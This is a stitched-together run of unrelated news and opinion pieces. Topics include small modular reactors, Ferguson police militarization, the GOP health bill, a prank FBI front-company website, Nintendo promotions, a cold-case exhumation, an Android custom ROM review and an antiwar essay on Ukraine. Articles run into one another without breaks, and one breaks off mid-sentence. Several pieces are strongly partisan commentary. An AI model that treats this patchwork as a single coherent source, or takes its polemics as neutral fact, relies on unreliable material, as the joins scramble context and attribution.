In Hebron, a further 15 Palestinians were wounded in clashes, as security forces used live ammunition and tear gas.
* Associated Press, Agence France-PresseBy Matthew Bandyk
A new executive order issued by President Barack Obama to cut greenhouse gas emissions from federal government agencies could benefit what has become a pet project of the administration: small modular reactors. The in-development technology is the only form of nuclear energy to qualify as clean energy under the order.
The order, announced March 19, requires federal agencies to ensure that increasing amounts of the electric and thermal energy they consume come from low-carbon dioxide-emitting "alternative energy" sources. At least 10% of their energy must come from these sources starting in 2016, all the way up to 25% by 2025.
The definition of alternative energy in the order does not include "nuclear power" in general but specifically "small modular nuclear reactor technologies," a term used to refer to a number of proposed designs for portable reactors typically under 300 MW, which are much smaller and potentially cheaper and easier to build than conventional nuclear reactors.
With the order, the Obama administration is pushing policies in support of small modular reactors, or SMRs, which are similar to proposals being contemplated at the state level. The Washington state senate, for example, recently passed a bill that would count SMRs among wind and solar as "qualified alternative energy resources" in the state's voluntary alternative energy purchase program for utilities.
It could be more than a decade until an SMR is available to generate any power that a federal agency could buy. Oregon-based developer NuScale Power LLC, owned by Fluor Corp., is set to be the first to apply with the Nuclear Regulatory Commission for certification of its SMR design in 2016, but that kicks off an over three-year review process, even with the help of $226 million in support from the U.S. Department of Energy that the Obama administration awarded NuScale to assist getting an SMR design approved.
NuScale Chief Commercial Officer Mike McGough said that the executive order could create new customers for the company. The order "absolutely will nudge folks closer to a NuScale project," he said.
SMR developers have already looked to the federal government as one of their most important potential customers. A top selling point of SMRs is that they could be conveniently installed to provide secure, reliable power off the civilian grid for sensitive federal government facilities like military bases. In addition, according to a White House spokesman, Obama's executive order applies to two major DOE-affiliated research institutions, the Idaho National Laboratory and Oak Ridge National Laboratory. Both have shown interest in SMRs. NuScale has an agreement with Washington state municipal power agency Energy Northwest and Utah Associated Municipal Power Systems to build an SMR at a site near the Idaho National Laboratory by about 2023, while the Tennessee Valley Authority has had talks with Oak Ridge about powering the lab with an SMR at the Clinch River site where the DOE and TVA once tried to build an experimental sodium-cooled fast-neutron reactor.
By allowing SMR power to count toward the alternative energy mandate, the order could make a power purchase agreement more attractive to the Idaho lab, according to McGough. The lab could not be reached for comment March 20.
"TVA continues to believe in the potential offered by SMRs and it is good to see that the Obama administration recognizes the same benefits for providing carbon-free electricity," TVA spokesman Jim Hopson said. The federal utility continues to work on an early site permit application for the Clinch River site, although it placed plans to submit the application to the NRC on hold last year.
SMRs face major challenges before they can ever be deployed, including an apparent lack of private sector interest and the potential for unforeseen problems and cost overruns when building a factory to mass produce the technology. Such a factory could lead to economies of scale that are necessary if SMRs will ever be cheaper than traditional reactors. The failure to find investors caused two NuScale competitors, Generation mPower and Westinghouse Electric Co. LLC, to cut back on their SMR programs. Generation mPower is a venture between Babcock & Wilcox Co. and Bechtel Corp.Through the fog of Twitter, it's difficult to discern the precise details of what's been happening in Ferguson, Mo., in the 10 days of protests spurred by the police killing of an unarmed teenager.
Still, maybe it's not too early to wonder: When, exactly, did the United States become a banana republic?
"Why armored vehicles in a Midwestern inner suburb?" asks my Cato Institute colleague Walter Olson. What could possibly justify police "red-dotting" peaceful protesters with laser sights, or an attempted head-shot, with a tear gas canister, at a man standing in his own yard, insisting, "this [is] my property!"? Here you can watch police fumigate a news crew and take down their cameras — then chase off the other journalists filming the assault.
The Ferguson clampdown has even law and order conservatives like Red State's Erick Erickson worried about "the militarization of the police and overkill by local police forces." But maybe they're not worried enough.
Last week, I found myself musing darkly, "Just wait till Ferguson's cops get federally fundeddrones." If you think paramilitary policing looks dystopian now, just wait till you see what's being cooked up in defense contractors' labs.
For decades now, as Radley Balko makes clear in his indispensable 2013 book, Rise of the Warrior Cop, federal subsidies have encouraged the proliferation of military ordnance on the home front — from M-16s to grenade launchers to 30-ton armored vehicles. Since 2002, the Department of Homeland Security has accelerated police paramilitarization with more than $7 billion in Urban Areas Security Initiative grants.
With Homeland Security funding, "Police departments are arming themselves with military assets often reserved for war zones," Sen. Tom Coburn (R-Okla.) noted in a 2012 report on the Urban Areas Security Initiative program. Among those assets are surveillance drones and the Long Range Acoustic Device — a sound cannon deployed last week in Ferguson that can disperse crowds with a 149-decibel assault (permanent hearing loss begins at 130).
A Homeland Security report obtained by the Electronic Frontier Foundation in 2013 revealed that the agency has considered outfitting its expanding inventory of drones with "non-lethal weapons designed to immobilize" targets of interest.
Meanwhile, both Homeland Security and the Pentagon maintain a keen interest in developing crowd-control weapons for occupations at home and abroad. In 2007, the department's science and technology arm "contracted for the development of the 'LED Incapacitator,' a nauseating strobe" weapon meant to overwhelm and disorient targets with rapid, random pulses of light.
Some have called it the "puke saber," but the final product won't necessarily be handheld. As the department noted in a cutesy blogpost entitled "Enough to Make You Sick," "output and size can easily be scaled up to fit the need; immobilizing a mob, for instance, might call for a wide-angle 'bazooka' version."
Then there's the Pentagon's "Active Denial System," colloquially known as the "pain ray." It's a truck-mounted millimeter wave gun designed to create "an unbearable burning sensation" in anyone it's aimed at.
Just imagine what a "puke cannon" or a "pain ray" could do to a crowd of looters — or a crew of pesky journalists. In time, and with the help of federal subsidies, we may graduate from banana republic to a science-fiction dystopia straight from the fevered brain of Philip K. Dick.
As James Madison warned at |
States. In President Obama’s final year in office, the United States ranked lower than Slovakia, Romania, Hungary, China, and even Vietnam. What a legacy.Reps. Fred Upton (R-Mich.) and Billy Long (R-Mo.) on Wednesday said they would support the GOP’s ObamaCare repeal-and-replace bill with the addition of an amendment, giving the effort new momentum as GOP leaders push toward a floor vote.
The two Republicans made the announcement at the White House after meeting with President Trump.
"I think it is likely now to pass the House,” Upton said.
But Upton added he’s “not on the whip team” and can’t definitively say there are enough votes for it to pass.
ADVERTISEMENT
Both Upton and Long dealt a setback to the healthcare measure earlier this week, when they came out against it because they saidit failed to protect people with pre-existing conditions.
The new amendment from Upton would provide $8 billion over five years to help people with pre-existing conditions afford their premiums in states that are granted a waiver from ObamaCare’s protections.
The liberal Center for American Progress estimated on Tuesday that the high-risk pools are underfunded by much more: $200 billion over 10 years.
The GOP bill already includes $130 billion over 10 years, which was not swaying many moderates as of Tuesday.
Upton himself said on Tuesday afternoon that more money for the high-risk pools “does not do the trick,” but he appeared to have a change of heart on Wednesday.
GOP leaders are whipping aggressively in favor of the healthcare bill in hopes of holding a vote before a one-week recess.
Upton said votes in the House Rules Committee, which would set up debate of the bill on the floor, could be held as soon as Thursday.
If the House votes on the bill this week, there would not be time for a new Congressional Budget Office analysis of Upton's changes or of an amendment from Rep. Tom MacArthur (R-N.J.) that won over the House Freedom Caucus.
The MacArthur amendment set off moderates' concerns in the first place. It allows states to waive ObamaCare protections that prevent people from being charged higher premiums based on their health. If those were repealed, insurers could go back to charging exorbitant premiums to sick people, which could put coverage out of reach for many.
Supporters of the bill argue high-risk pools could fill the gap, and note that people with pre-existing conditions would still be protected if they had no gaps in coverage.
So far, though, no lawmakers other than Upton and Long have publicly changed their position due to the amendment. Members of the moderate Tuesday Group discussed the changes at a Wednesday meeting that included House Energy and Commerce Chairman Greg Walden (R-Ore.).
Leaving that meeting, no lawmaker said they had changed their position. Rep. John Faso (R-N.Y.) said he was still undecided and studying the changes. Rep. Adam Kinzinger (R-Ill.) declined to comment when asked if he was still undecided.
Centrist Reps. Charlie Dent (R-Pa.) and Ryan Costello (R-Pa.) said Wednesday they are still opposed to the bill even after the changes.
Rep. Mike Coffman (R-Colo.) said in a statement Wednesday he could support the bill “if House leadership will work to tighten protections for those with pre-existing conditions.”
GOP Reps. Barbara Comstock (Va.), Frank LoBiondo (N.J.), Dan Donovan (N.Y.), Jaime Herrera Beutler Jaime Lynn Herrera Beutler13 House Republicans who bucked Trump on emergency declaration House votes to overturn Trump's emergency declaration Juan Williams: Racial shifts spark fury in Trump and his base MORE (Wash.) and Ileana Ros-Lehtinen (Fla.) are all still opposed to the bill after the changes, their respective offices told The Hill on Wednesday.
But in a key development for Republican leaders, the ultraconservative House Freedom Caucus has indicated it will continue to back the bill with the Upton amendment as long as it contains only additional funds and no policy changes.
On conservative host Hugh Hewitt's radio show Wednesday, Speaker Paul Ryan (R-Wis.) praised Upton's efforts, calling his amendment something that "nobody has a problem with."
"Fred Upton identified something he thinks will make the bill better," Ryan said. "What we're doing is listening to our members, finding where that sweet spot of consensus is and driving there."
Illustrating the pressure from the White House, Office of Management and Budget Director Mick Mulvaney called for a vote on Fox News Wednesday morning.
Mulvaney said that if he were Speaker of the House, "I’d probably go to the floor today, because it’s just that close."
The healthcare legislation was abruptly pulled from the House floor in late March after it became clear that a planned vote would have failed.
The underlying bill also has several provisions some moderates object to, such as deep Medicaid cuts. The Congressional Budget Office estimated the overall legislation would result in 24 million more people becoming uninsured over a decade.
Democrats and some health policy experts have also raised concerns that $8 billion will not be enough to cover everyone with pre-existing conditions who would lose their insurance coverage.
But Trump is hungry for a major legislative achievement after not securing one during his first 100 days in office, and the White House is in full court press to rally support behind the healthcare plan.
After announcing he was a “no” vote, Long said Trump called him multiple times to plead for his support. "The president said, 'Billy, we really need you, we need you, man,’” the congressman said.
Upton said he and Long went to the White House to sell Trump on their amendment. The Michigan lawmaker said during their meeting he read Trump his comments during a Bloomberg News interview in which he said the health bill “will be every bit as good on pre-existing conditions as ObamaCare."
“I want him to keep that pledge,” Upton said. “This amendment allows that to happen.”
- Scott Wong contributed. Updated 3:21 p.m.Image: Pixelbat/Imgur
Yesterday, a new report confirmed that the FBI is flying unmarked surveillance planes over major US cities, using the cover of fake companies with names like "OBD Leasing" and "FVX Research"
Now it seems someone—though probably not the FBI—is posing as one of those companies, attempting to deny affiliation with the Feds via a hilariously bogus website, complete with stock photos.
The website of "FVX Research," which came online just today, has all the hallmarks of a fake company—from the stock Wordpress theme to the cookie-cutter praises posted to its "Testimonials" page. The homepage lists an address in Washington, DC and includes a press release, which is linked to by an FVX Research Twitter account, denying government ties.
"Let us make this clear, we (FVX Research) are not associated in any way, shape, or form with the Federal Bureau of Investigations or commonly known as (FBI) or any governmental entity," the website's message states. "Our brand and identity is being used in slanderous allegations, and we are working closely with our legal resources to combat this."
Screencap of the fake FBI shell company site. Image: Pixelbat/Imgur
The message also starts with special mention of Reddit, implying FVX's parody web presence could be a prank by one of the site's users. The FVX Twitter account later tweeted at Kim Dotcom, then replaced the entire site with an image of him, making it pretty clear that whoever is behind it knows their audience—or that this whole thing is really a viral ad for MEGA (please god, no).
Most hilariously, as Imgur user pixelbat points out, a simple Google reverse image search reveals that the company's suspiciously attractive "staff" is actually a bunch of stock photos. The same fake people can be found with different names on other obviously fake websites.
Doing a quick WHOIS lookup of the domain reveals several more pieces of (likely false) information. The registration lists one "Robert Hastings" and a 202 number which I tried calling, but no one answered and I was directed to a generic voicemail inbox. Then about 10 minutes later, the same number called me back, but there was only silence on the other end of the line.
The site transformed into a Kim Dotcom ad. Image: Josh Kopstein (screencap)
The address "NSA.GEN.IN" is also listed as the organization name in the WHOIS. Traveling to that site generates a pop-up login prompt, and after hitting "cancel" the site displays the following ominous message:
"UNAUTHORIZED USE OF THIS SYSTEM IS STRICTLY PROHIBITED AND PUNISHABLE BY FEDERAL LAW. UNAUTHORIZED INDIVIDUALS SHOULD TERMINATE THEIR ACCESS NOW. Individuals using this computer system, with or without proper authority, are subject to having all their activities monitored and recorded by authorized employees and should have no expectation of privacy. Anyone using this system expressly consents to such monitoring and to all appropriate disclosure of any evidence of criminal activity to law enforcement officials."
Creepiness aside, the website's blunders are just way too obvious to be a bumbled FBI attempt to salvage one of its front companies. In the AP article about the spy planes, a spokesperson even admitted that the Bureau will have to create new fake companies to replace any that the report publicized.
From any angle, the site smells much more like someone's Reddit joke than an FBI cover-up campaign.
Update: As of late afternoon, the site has returned to its original pre-Dotcom state and the silly tweets that followed have been deleted. It's similar to what might happen if a real company were hacked, but it's more likely pranksters are just making it look that way for the lulz.In addition to the two new DLC items revealed yesterday, Nintendo and Best Buy have announced a partnership for exclusive items through Nintendo Zone hotspots at select Best Buy locations throughout the summer. Keep reading for details…
Players who make the trip to a local Best Buy with a Nintendo Zone hotspot can download exclusive items through the Post Office. A list of the items and their delivery timeframes are included below:
6/16-6/29 RACCOON WALL-CLOCK
RACCOON WALL-CLOCK 6/30-7/13 CAT TOWER
CAT TOWER 7/14-7/27 SUITCASE
SUITCASE 7/28-8/10 DOUBLE NECK GUITAR
Click here for a handy Nintendo Zone locator, but keep in mind this promotion is only for Best Buy locations. What are your thoughts on item distribution like this? It’s similar to the 7 Eleven deal in Japan but without branded items.
(Source: Nintendo)Series examining man's survival in extreme environments. A look at life in the rainforest, which requires great skill, ingenuity and sheer bravery.
The rainforest is home to more species of plants and animals than any other habitat on the planet. But for humans, life there is not as easy as it looks. Life in the trees requires great skill, ingenuity and sheer bravery.
The Matis of Brazil carve 4m-long blowpipes to hunt monkeys in near total silence. Deep in the Congo forests, Tete defies death by scaling a giant tree using nothing more than a liana vine and he must then negotiate an angry swarm of bees - all to collect honey for his family.
Three children from Venezuela's Piaroa tribe venture deep into the jungle to hunt tarantulas to toast for lunch. In West Papua the Korowai tribe show off their engineering skills by building a high-rise home 35 metres up in the tree tops.
Most memorable of all, in Brazil we join a unique monitoring flight in search of an uncontacted tribe.Donald Trump is a true master of getting attention, and he has been for decades. Where other New York developers built buildings, Trump built a brand based on always being the center of attention. Trump is so good at getting attention that his 2016 presidential campaign was long seen as essentially an attention-grabbing stunt rather than a sincere effort to win. But one of the big lessons of the 2016 primary is that the ability to grab attention is a profoundly important part of winning a presidential nomination.
A general election is different. And, indeed, despite the fact that Trump won in the end, it’s worth recalling that he probably fared quite a bit worse than a more conventional Republican Party nominee with less baggage would have done. But now that the election is over, Trump is back to displaying his incredible knack for publicity, having within a few short weeks mastered a problem that has bedeviled incumbent politicians for years: How do you get people to pay attention to what you’re doing?
This is a real skill, and as long as objective conditions in the world remain roughly the opposite of how Trump described them — unemployment and crime low, incomes rising, ISIS on the defensive — it’a going to serve Trump very well and drive liberals batty. The problem for Trump will come where it comes for any president: when the going gets tough.
Cool Obama was forged in crisis
The final months of Barack Obama’s 2008 campaign played out against the backdrop of a genuine crisis situation. Big companies were filing for bankruptcy, being nationalized, or seeking bailouts from various governments. The United States was bleeding jobs, and foreign labor markets were heading downhill as well. A genuine and nearly universal fear about the immediate future of the country dominated the Bush-Obama transition, which also featured a commitment by the president-elect to end an ongoing military presence in Iraq.
Obama delivered a transition, and a first 100 days, that was suited to the mood. It was not without its problems and hiccups, but at every margin it erred toward being boring and orderly. People were eager for change but fearful of chaos, and Obama brought a reassuring calm to a nerve-racking situation.
But as the economic situation normalized in his second term, calm became something more like boring and ignorable. His team would routinely offer the classic incumbent’s lament — why weren’t journalists ever interested in covering the myriad good things that were happening in any given week?
It’s not that Obama never bothered to come up with small-scale initiatives to help people or tour the country to tout signs of progress. But this is boring stuff, and it largely got ignored, just as Obama’s responsible, well-managed Twitter feed is routinely ignored.
Donald Trump sells the drama
Trump’s tweets, by contrast, are really “bad” by the standards of big-time politics. His feed features lots of vendettas, lies, and trivia that make it a fascinating antidote to the antiseptic, workshopped tweets of the typical politician. So people pay attention.
Every Trump live television appearance carries the tantalizing possibility that something awful will happen — maybe he’ll call for his opponent to be jailed or say something racist or simply false. Whatever happens, we can be pretty sure we won’t just get an anodyne stump speech. Unpredictability guarantees interest.
By the same token, Trump rather brilliantly turned the Carrier affair into so much more than a case of dickering over a single plant and ultimately settling for half a loaf. There was drama, there was conflict, and there was mystery. A more professional handling of the matter would have garnered Trump some positive headlines in Indiana and been ignored nationally. Instead, Trump dominated the agenda for days with a rather small initiative, inspiring overblown criticism about how his approach threatens to erode capitalism itself.
Rather than offering calm in dramatic times, Trump sells drama around small stories — driving massive interest among fans and critics alike, but ultimately focusing attention on what he wants to focus attention on. It’s a masterpiece, and it’s likely that when temperatures cool down, politicians from both parties will learn that there is an upside to Trump’s looser approach and a downside to the knee-jerk gaffe aversion that has taken over so much of politics.
The problem is there are going to be problems
The issue here is that for all that Trump painted an exceptionally dark portrait of the United States of America during the campaign, his attention-grabbing tactics work well primarily because the actual situation is pretty good. As Brian Beutler writes at the New Republic, “Against a backdrop of economic growth, climbing wages, and a quasi-stable global order, Trump’s weird, personality-driven industrial policy will be consistent with a story in which Trump is taking a decent situation and making it better.”
The Carrier deal isn’t remotely big enough to move the needle in terms of the macroeconomic situation. But as long as the macroeconomic situation is stable and improving, that kind of thing works as a powerful symbol of the president’s hard work on behalf of the American people.
Unfortunately, past presidents have generally learned that the problem of how to best claim credit for good times — though difficult — is not really the hardest part of the job.
The difficult problem is dealing with actual problems in a remotely satisfactory way. Whether we’re talking about a financial markets panic, a foreign crisis, or a natural disaster, the inevitable vicissitudes of life suggest that sooner or later a big scary story will dominate the landscape. Past presidents have found that when something bad happens, once-valorized personality traits become demonized. The relatable, comfortable-in-his-skin George W. Bush was viewed as passive and incompetent in the wake of Hurricane Katrina and a growing insurgency in Iraq. The calm, collected Obama was seen as cold and out of touch as ISIS stormed to power in the Middle East.
Trump’s frenetic, unpredictable personality makes him a fascinating attention magnet in a way that’s very useful in good times. But when all eyes are on the president and looking for a workable solution to a very real crisis, that same disposition is likely to seem unnerving and erratic. Maybe he’ll get lucky and nothing bad will happen while he’s in office. Or maybe he’ll surprise us and prove to be an astute crisis manager and student of public policy, who swiftly solves problems as they arise and keeps us on the path of peace and prosperity.
But most likely Trump’s publicity successes will thrill his fans and infuriate his foes (which will only thrill his fans more), right up until the moment disaster strikes — at which point we’ll all remember that showmanship isn’t really the most important part of the job.
Watch: It’s on America’s institutions to check TrumpWorld Series of Fighting lightweight champion Justin Gaethje returns to the cage March 12 to take on No. 1 contender Brian Foster at WSOF 29 in Loveland, Colo.
Gaethje (15-0) captured the WSOF lightweight title at WSOF 8, where he defeated Rich Patishnock via first-round knockout. Since that victory, Gaethje notched three more title defenses under the WSOF banner – two against Luis Palomino and a third against Nick Newell, all via knockout.
A would-be fourth title defense for Gaethje came at WSOF 15, where he defeated former UFC lightweight Melvin Guillard via split-decision. While originally intended to be contested for the belt, the affair was downgraded to a non-title fight after Guillard missed weight by nearly four pounds.
Opposite Gaethje at WSOF 29 stands Foster (25-8). The Oklahoman recently won WSOF's one-night, eight-man tournament at WSOF 25 in November, securing his shot at Gaethje in the process.
Despite losing to Joao Zeferino in the first round of the tournament via heel hook, Foster was re-inserted into the running after an injury to Mike Ricci created an opening. Foster made good on his second chance, knocking out Palomino then Zeferino in a rematch to capture tourney gold.
Before the 155-pound tournament, Foster won five of his previous six, with two knockouts, two submissions and a decision during that stretch.Please enable Javascript to watch this video
ST. CHARLES COUNTY, MO (KTVI)- St. Charles County police will be working in a cemetery this morning trying to solve a 47-year-old murder case. The body of little girl will be exhumed.
They will open the little girl`s grave to retrieve DNA which detectives hope will reveal who the little girl was and then they hope that information could also lead to her killer. The girl, believed to be two and a half, was found by two fishermen in West Alton near the Clark Bridge on February 1, 1968. Since then she`s been called 'Jane Doe West Alton.' While her identity remains unknown, a composite recreation of the her was created by the national center for missing and exploited children. This is what they think the little girl looked like.
Her body was found in a suitcase anchored by bar bells.
Detective Stephanie Fisk, who is a mother herself, began thinking about the case 13-years ago when she spotted it while working in the records room. After being promoted to detective, Fisk asked for permission begin investigating the case again.
Fisk says it`s a long time but she has to believe she'll be successful with this case.
The girl is buried in an unmarked grave in the children`s section of Oak Grove Cemetery.
Police know the details of her murder but they are not making that information public.ADVERTISEMENT
Barack Obama has tapped Mary Schapiro, “a veteran and diligent regulator,” to head his Securities and Exchange Commission, said Floyd Norris in The New York Times. That’s good news for those who want the SEC to “recover from what must be the worst year in its history.” Outgoing chairman Christopher Cox just “condemned” his agency’s failure to uncover Bernard Madoff’s massive fraud, but its lax regulation was “a subject of scorn” before Madoff.
Cox is “awful,” said Gary Weiss in Seeking Alpha, but with all Obama’s talk of “change,” his selection of a “career bureaucrat” like Schapiro leaves me “utterly flummoxed—and disgusted.” She may be experienced, but the chances of her “instituting real, meaningful, desperately desired change” in the securities industry is close to nil.
“A more workable approach to securities law” is much needed, said the Los Angeles Times in an editorial, but new powers for the SEC aren’t. The agency’s failure to catch Madoff, even after receiving “multiple allegations of fraud,” is due to its not enforcing laws already on the books.
Sure, “blame too little enforcement,” said The Wall Street Journal in an editorial. The SEC’s budget has more than doubled since the collapse of Enron, and its enforcement staff is at “modern record” highs. But it still failed to nail Madoff, because the SEC isn’t good at catching “determined and crafty” fraudsters. The only ones to figure out Madoff’s con were the “private research shops” the SEC wants more control over.
“Regulators are never going to catch every financial shenanigan before it blows up,” said Justin Fox in Time. But Schapiro could make things better by splitting the SEC and its fellow regulators into two agencies, one focused on consumers and investors and one on the health of financial institutions. Maybe Schapiro shouldn’t try to fix the SEC, but instead “shut it down and replace it with something better.”How Resurrection Remix Made My Galaxy Note 3 Spiffy Again.
If you have been following the consumer tech industry even remotely as close as I have, you begin to realize that 2013 feels like ages ago in terms of the frequency of smartphone releases. While the stock TouchWiz ROM of 2013 and beyond can still keep up, albeit barely, an OS upgrade was long overdue for my Note 3 whom I lovingly named Edgar.
Keep in mind that I installed an updated version of TouchWiz 5.0 Lollipop a few months ago but eventually, it didn’t cut it for me anymore. The UI felt dated despite being based on Android L, something Sammy is really notorious for, and I had a slew of other minor but really annoying problems with the OS. The Bluetooth connection between my phone and my OG Pebble would constantly drop out, making the watch almost useless. Memory management on the original ROM was also spotty, causing very recently used apps (like the second to the last app I used) to still reload despite having used it just a few minutes prior.
Another reason for wanting to refresh Edgar is all the clutter caused by my son’s constant app downloading. I would let him borrow my phone from time to time so he can relax and watch his toy reviews, but he’d eventually want to play. And play he would. The result was over 30 games downloaded in the span of a couple of days, and I always had to remove all the crap that he’d download (screw all the junkware games in the Play Store).
Anyway, I stumbled across a Reddit post (image above) in the Note 3 sub detailing the battery life of a Galaxy Note 3 running Resurrection Remix (RR) and I was blown away, to say the least. It had achieved 5h 42m two hours of Screen On Time, which sealed the deal for me. Stock Android based off CM and other ROMs, 6.0 Marshmallow and overall slick looks? Sign me up.
So I went over to the XDA thread and read over all the installation instructions. Thankfully I had a relatively new version of TWRP custom recovery, so I just had to update it to the latest build. I downloaded the latest stable build for RR, downloaded the mini gapps posted there, and began to do a full Titanium backup and then a nandroid backup over TWRP. Boy did that take long, but probably because I did the nandroid backup without uninstalling all the games that my son had downloaded (something I definitely should have done), hence the long backup time.
With all the precautions completed, I wiped the system, data, and cache through TWRP, did a factory reset and flashed the ROM and gapps respectively. The phone booted up after about 5 minutes of staring at a spiffy, fluid splash screen and boom, stock Android 6.0 goodness.
By this point, I was beyond stoked to try all the customization options of RR, and there are a lot of those. From status bar elements and font colors to complete theme overhauls, RR features the best of customization from the CyanogenMod side of things while being stable all around. I did have a couple of force restarts, but I determined that SwiftKey was the culprit as always was the case. Despite having purchased that damn good keyboard app, I had to say goodbye to it and just use the Google Keyboard instead, a compromise that didn’t hurt so much.
Note: I managed to get SwiftKey to play well with the OS again after simply installing it again. It may have just been some compatibility issues with the backup.
What I Like
With RR comes all the bells and whistles of AOSP, but without any of the bloatware. The result is a zippy, beautiful OS that handles everything I could ever throw at it. A slew of customization options are present in the Settings menu, and hitting the Configurations button will reveal dozens of other options you can tweak. I love Omniswitch, and I was glad that it was baked into the OS. I don’t use it as a Recents replacement, but the convenience I get from the shortcuts is invaluable.
I also opted to use the flashlight shortcut, which you can bind to the power button. Long press the power button while the screen is off, and it will turn on the torch. Press it briefly again to turn off. It’s handy for when I need a light but I’m charging my phone as it’s attached to the GridIt stuck against my headboard.
One other thing worth mentioning is that Android 6.0 fixes the Bluetooth disconnection issue (as far as I can tell), so no more issue with my Pebble being useless. Additionally, the trusted devices feature is functioning, so the upgrade added more convenience in my day to day digital meandering.
Edit: I’ve since lost my Pebble (RIP old boy), but I had no BT connection issues after updating.
What I Don’t Like So Much
I previously mentioned a couple instances of force restarts the first few days of using RR, but I can report that the issue has been resolved. Though you never really know what caused it exactly when dealing with custom ROMs unless you’re a developer looking through error logs, so I figured that it was either Swiftkey causing issues or some apps from my Titanium backup restoration caused the restarts. I quickly figured out that I was a dumbass for restoring backed up apps from another OS, but thankfully the Play Store updated the iffy apps in question and I can confidently say that the issues are gone.
I’m running RR v5.7.4 from the Sept. 21,2016 update and using the default OS kernel. I have also been getting this seldom recurring bug where running YouTube full screen will cause the playback progress bar to partially clip down the bottom of the screen. Also, some quick settings elements are iffy in landscape mode such as when I try to connect my BT headphones while watching a video. The options for choosing found BT devices will show as unpopulated, but switching to portrait mode fixes the issue.
In the end, I got what I needed from my upgrade. Smooth transitions, exceptional RAM management, a plethora of customization options, excellent app support, and so much more. I now have a spiffy OS in an oldie but goodie phone, and I don’t see myself needing to buy another smartphone in the next couple of years. Hopefully, this doesn’t sound too fanboyish for you not to try it out. If you’ve been looking for a good updated ROM, this is it.
Cheers to Lord Eko and the other contributors who refined this ROM and gave my phone a second wind that will make it relevant for years.
AdvertisementsThe War Party is a veritable propaganda machine, churning out product 24/7. Armed with nearly unlimited resources, both from government(s) and the private sector, they carpet-bomb the public with an endless stream of lies in order to soften them up when it’s time to roll. In the past, their job has been relatively easy: simply order up a few atrocity stories – Germans bayoneting babies, Iraqis dumping over babies in incubators – and we’ve got ourselves another glorious war. These days, however, over a decade of constant warfare – and a long string of War Party fabrications – has left the public leery.
And that’s cause for optimism. People are waking up. The War Party’s propaganda machine has to work overtime in order to overcome rising skepticism, and it shows signs of overheating – and, in some instances, even breaking down.
One encouraging sign is that the Ukrainian neo-Nazis have lost their US government funding …
In a blow to the “let’s arm Ukraine” movement that seemed to be picking up steam in Congress, a resolution introduced by Rep. John Conyers (D-Michigan) and Rep. Ted Yoho (R-Florida) banning aid to Ukraine’s Azov Battalion, and forbidding shipments of MANPAD anti-aircraft missiles to the region, passed the House unanimously.
This is significant because, up until this point, there has been no recognition in Washington that the supposedly “pro-democracy” regime in Kiev contains a dangerously influential neo-Nazi element.
As I reported early on, Ukraine’s ultra-nationalists – who openly utilize wartime Nazi symbols and regalia, and valorize Stepan Bandera, the anti-Soviet guerrilla leader who collaborated with the Third Reich – were the muscle behind the movement that pushed democratically elected President Viktor Yanukovich out of power. With the rebellion in the east, the paramilitary militias of the far right have been officially incorporated into the Ukrainian army: Dmytro Yorash, the leader of Right Sector and a member of parliament, is an aide to Viktor Muzhenko, the supreme commander of the Ukrainian military, and Right Sector – an openly neo-Nazi organization – has been officially integrated into the armed forces.
The Conyers-Yoho amendment won’t stop Ukraine’s neo-Nazis from feeding at the US-provided trough, but, hey, it’s the thought that counts. They’ll just abandon their independent existence and blend into the official military, effectively going underground, just as they did in the last Ukrainian elections, where fascists like Yarosh won a seat in the parliament with the tacit support of the “mainstream” parties, which withdrew their candidates in his district: Adriy Biletsky, commander of the Azov Battalion, enjoyed a similar advantage. Open fascists hold prominent positions in the Ukrainian government, the military, and the police.
Vadim Troyan, the deputy leader of the Azov Battalion, is now the regional chief of the Kiev district police, and fascists have the run of the city. The perpetrators of an arson fire at a Kiev theater that sponsored a gay film festival were charged with “disturbing the peace” and let off with a light sentence – and the theater was held responsible for not providing enough security! "I think the government prosecutor and those who are prosecuted are playing for the same team," says one activist, and this is quite true: the fascists permeate the Kiev regime from top to bottom. When gay activists announced a Gay Pride march, the Mayor of Kiev said he couldn’t – or wouldn’t – guarantee their safety and asked them to cancel it. What was an open invitation to violent thugs was accepted when dozens of Right Sector stormtroopers attacked the procession, which ended the event after thirty bloody minutes.
As the Kiev regime shows its true colors, its most fervent backers are forced to acknowledge its shortcomings. Yes, even our UN Ambassador, Samantha “responsibility to protect” Power …
In a recent speech delivered in Kiev, Ambassador Power made oblique reference to the embarrassing slip ups on the part of our sock puppets in Kiev, gently scolding them to be more … discreet. Citing Abraham Lincoln, she urged Ukrainians to listen to “the better angels of our nature,” and averred that “Ukraine is stronger” when it does so:
“It means that Ukraine should zealously protect freedom of the press, including for its most outspoken and biased critics – indeed, especially for its most outspoken and biased critics – even as the so-called separatists expel journalists from the territory they control, and even as Russia shutters Tatar media outlets in occupied Crimea. It means that politicians and police across the country should recognize how crucial it is that people be able to march to demand respect for LGBT rights and the rights of other vulnerable groups without fear of being attacked.”
Citing Lincoln while calling for press freedom is a bit problematic – Abe shut down “treasonous” newspapers and jailed his more vociferous critics, but, hey, Power probably figured the Ukrainians aren’t up on the details of Civil War history, so what the heck. As the US continues to pump money – and weaponry – into the country, they’ll listen politely to Power’s lectures, and laugh all the way to the bank.
Amid all the publicity given to ISIS and the rise of its “caliphate,” the volatile condition of the Balkans has remained in the shadows. Yet the US, while sending only a few hundred “advisors” to Iraq, is sending a huge shipment of tanks and other heavy weaponry to nearly every country in Eastern Europe – enough to equip 5,000 American troops.
Ostensibly proposed in response to a nonexistent Russian “threat” to invade its Baltic neighbors, and/or Ukraine, this represents a significant escalation of the new cold war. And if the tanks are already on the ground, you can bet the troops won’t be long in coming. As NATO James Stavridis put it: “It provides a reasonable level of reassurance to jittery allies, although nothing is as good as troops stationed full-time on the ground, of course.”
And we aren’t just talking about troops here: the Pentagon is also considering stationing nuclear missiles alongside them.
The US is playing a dangerous game of nuclear brinkmanship. Robert Scher, undersecretary of defense, has even floated the idea of a nuclear first strike against Russia. Claiming that Russia has violated the INF Treaty by testing a banned ground-launched cruise missile, Scher laid out possible options in testimony before Congress:
“Robert Scher, assistant secretary of defence for strategy, plans and capabilities, told politicians in April that one option could be to beef up defenses of potential targets of the Russian cruise missile.
“A second option could ‘look at how we could go about and actually attack that missile where it is in Russia,’ Scher said.
“And a third option would be ‘to look at what things we can hold at risk within Russia itself,’ Scher said.
“His comments appeared to signal employing forces to strike at other Russian military targets — apart from the missiles that allegedly violate the INF accord.
“Brian McKeon, deputy undersecretary of defense for policy, told politicians in December that the United States could consider putting ground-launched cruise missiles in Europe. Such weapons are banned under the INF treaty.”
Yes, that’s how crazy the warlords of Washington are: in their demented calculus, nuclear war is just another “option.”
